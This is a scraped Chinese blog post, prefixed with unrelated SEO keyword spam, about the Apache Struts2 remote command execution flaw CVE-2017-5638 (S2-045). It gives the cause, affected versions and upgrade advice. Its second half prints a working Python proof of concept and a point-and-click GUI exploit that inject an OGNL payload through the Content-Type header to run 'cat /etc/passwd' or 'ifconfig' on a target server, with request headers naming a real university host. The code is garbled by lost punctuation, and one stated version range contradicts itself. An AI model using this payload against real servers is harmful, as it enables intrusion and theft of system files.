广东涂料网站建设,昆明专业网站建设的公司,《网站建设与管理》方案,建设网站服务商文章前半部分来自团队小伙伴阿德马的总结#xff0c;后半部分的Poc和Exp是小编匆忙之际借鉴而来#xff0c;感谢写Poc和Exp的伙伴~
安恒给官方上报的#xff0c;然后官方选择了1个对国内来说比较敏感的时期发了公告出来#xff0c;好蛋疼。
该漏洞的CVE编号是CVE-2017-56…文章前半部分来自团队小伙伴阿德马的总结后半部分的Poc和Exp是小编匆忙之际借鉴而来感谢写Poc和Exp的伙伴~
安恒给官方上报的然后官方选择了1个对国内来说比较敏感的时期发了公告出来好蛋疼。
该漏洞的CVE编号是CVE-2017-5638(s2-045)攻击者利用该漏洞可以进行远程命令执行从而获取更高的服务器权限。
漏洞描述
查了点资料发现跟struts2配置中struts.multipart.handler的设置有关默认使用的就是Jakarta对应类org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。也就是说struts2的此项设置使用了默认配置就会存在该漏洞。
攻击者通过修改http请求头中的Content-Type的值来触发该漏洞进而执行命令获取更高的系统权限。
如图所示 上图是使用了测试用poc对被攻击服务器执行了”whoami”的命令。
漏洞影响范围
Struts 2.3.5 – Struts 2.3.3
Struts 2.5 – Struts 2.5.10
修复建议
升级到Struts 2.3.32 或者 Struts 2.5.10.1稳妥方法
或者在struts2配置中修改struts.multipart.handler的配置(个人理解未测试)
再贴个预警邮件大家就都不用写了
HIALL:
Apache Struts2又爆出了新的远程命令执行漏洞对应CVE编号是CVE-2017-5638请对受影响的struts2 版本进行升级处理。
Poc:
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersheader1 {
Host:alumnus.shu.edu.cn,
Connection:keep-alive,
Refer:alumnus.shu.edu.cn,
Accept:*/*,
X-Requested-With:XMLHttpRequest,
Accept-Encoding:deflate,
Accept-Language:zh-CN,zh;q0.8,en;q0.6,zh-TW;q0.4,
}def poc():register_openers()datagen, header multipart_encode({image1: open(tmp.txt, rb)})header[User-Agent]Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36header[Content-Type]%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdcat /etc/passwd).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}request urllib2.Request(str(sys.argv[1]),datagen,headersheader)response urllib2.urlopen(request)print response.read()poc()
Exp:
#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.rootrootself.show_W_Text Text()self.show_url_ed Label(root, textstr2)self.edit_url Entry(root, text输入地址)self.butt_whois Button(root, textkill,commandself.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url self.edit_url.get()text self.show_W_Textregister_openers()datagen, header multipart_encode({image1: open(tmp.txt, rb)})header[User-Agent] Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36header[Content-Type] %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdifconfig).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}request urllib2.Request(w_url, datagen, headersheader)response urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ __main__:rootTk()root.title(str2 045)motionSTART(root)mainloop()